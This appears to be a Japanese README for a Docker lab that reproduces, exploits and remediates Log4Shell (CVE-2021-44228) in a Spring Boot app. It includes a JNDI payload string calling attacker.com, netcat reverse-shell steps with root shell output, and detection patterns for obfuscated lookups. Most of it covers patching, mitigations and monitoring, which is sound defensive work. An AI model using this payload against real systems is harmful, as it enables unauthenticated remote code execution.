Log4Shell (CVE-2021-44228) PoC

目的

Docker環境において、既知の重大なCVEを再現、悪用、および修復します。

このPoCは、Spring BootアプリケーションにおけるCVE-2021-44228 (Log4Shell)を実証します。

1. 脆弱性の説明

CVE: 2021-44228

CVSS: 10.0 (重大)

影響を受けるコンポーネント: Apache Log4j (<= 2.14.1)

パッケージの動作

• Log4jは、人気のあるJavaロギングライブラリです。
• ログメッセージ内の値を動的に解決するためのルックアップ (${...}) をサポートしています。
• そのようなルックアップの1つがJNDIであり、LDAPを介して値を取得できます。

脆弱性の仕組み

• 攻撃者は、${jndi:ldap://attacker.com:1389/a}のような悪意のあるJNDIルックアップ文字列で被害者アプリケーションを汚染します。
• 脆弱なLog4jバージョンを使用する被害者アプリケーションは、ロギング中に悪意のある文字列を評価します。
• これにより、攻撃者が制御するLDAPサーバーへのJNDI要求がトリガーされます。
• LDAPサーバーは、外部Javaバイトコードへの悪意のある参照で応答します。
• 被害者のJVMはバイトコードをロードして実行し、リモートコード実行 (RCE) に至ります。

エクスプロイトの仕組み

1. 被害者アプリケーションがHTTPヘッダーから攻撃者が提供した入力をログに記録します。
2. 攻撃者のLDAPサーバーがExploit.classへの参照で応答します。
3. 被害者がHTTP経由でExploit.classを取得します。
4. Exploitの静的初期化子が実行され、攻撃者へのリバースシェルを生成します。

2. リスク

• 影響: 認証不要のRCE - 最も高い重大度。

• リスクのある対象:

  • Log4j <= 2.14.1を使用するすべてのJavaアプリケーション。
  • ユーザー制御の入力（例：HTTPヘッダー）をログに記録するインターネット向けおよび内部サービス。

• 結果:

  • システムの侵害（シェルアクセス）。
  • データの流出。
  • 内部ネットワークへのピボット。
  • 境界防御の回避（内部サービスを介した攻撃）。

3. 概念実証

前提条件

1. docker + docker-compose
2. netcat
3. make

ビルドと起動

make build start

エクスプロイト

1. netcatリスナーを起動します:

nc -l 4444

2. エクスプロイトをトリガーします:

make exploit

3. Netcatが被害者からリバースシェルを受信します:

/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...

4. 修復

推奨される修正

• Log4j 2.17.1以降にアップグレードしてください。
• これが唯一の完全かつ長期的な修正です。以前のバージョンでは部分的にパッチが適用されましたが、依然として露出が残っていました:
  • CVE-2021-45046: デフォルト以外のロギング設定を介したRCE
  • CVE-2021-45105: 自己参照ルックアップによるDoS
  • CVE-2021-44832: 特定のJDBCアペンダー設定を介したRCE

make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell

暫定的な緩和策（アップグレードが不可能な場合）

1. 時間を稼ぐ

• WAFまたはミドルウェアでインバウンドのエクスプロイト文字列（${jndi:パターン）を制限する。
• アプリケーションサーバーからのアウトバウンドLDAPをエグレスフィルタリングで制限する。

2. ルックアップを無効にする:

-Dlog4j2.formatMsgNoLookups=true

3. JVMを強化する:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

運用上の緩和策

1. 依存関係とランタイムを監査する

• SBOMを生成する（gradle dependencies、Snyk、Wizなど）。
• デプロイされたイメージ/サーバー内でlog4j-core-*.jar（fat JARを含む）を検索する。
• 最もリスクの高いワークロードに対する緩和策をトリアージし、優先順位を付ける。

2. 監視と検出

• ログ内のエクスプロイト試行（${jndi:...}、${${lower:j}ndi:...}など）を監視する。
• コールバックのためのアウトバウンドLDAPトラフィックを監視する。
• 発見事項を潜在的な侵害として扱い、インシデント対応（フォレンジック調査、悪意のあるアーティファクトの削除、シークレットのローテーションなど）にエスカレーションする。

3. ベンダーパッチ

• ベンダーのアドバイザリ（例：Elasticsearch）を追跡する - 多くはLog4jをバンドルして出荷している。
• 公式パッチが利用可能になるまで提供されたホットフィックスまたは回避策を適用する。

4. 戦略的改善

• アウトバウンドトラフィックフィルタリングに「デフォルトで拒否」ポリシーを適用する。
• CI/CDで依存関係スキャンを適用する。
• チームが次の「CVSS 10.0」の脆弱性の際に何をすべきかを正確に把握できるように、対応プレイブックを正式化する。
• 「新しいLog4Shell級」のインシデントに対する準備態勢をテストするために、復元力訓練/机上演習を実施する。

5. 参考文献

• Apache セキュリティ勧告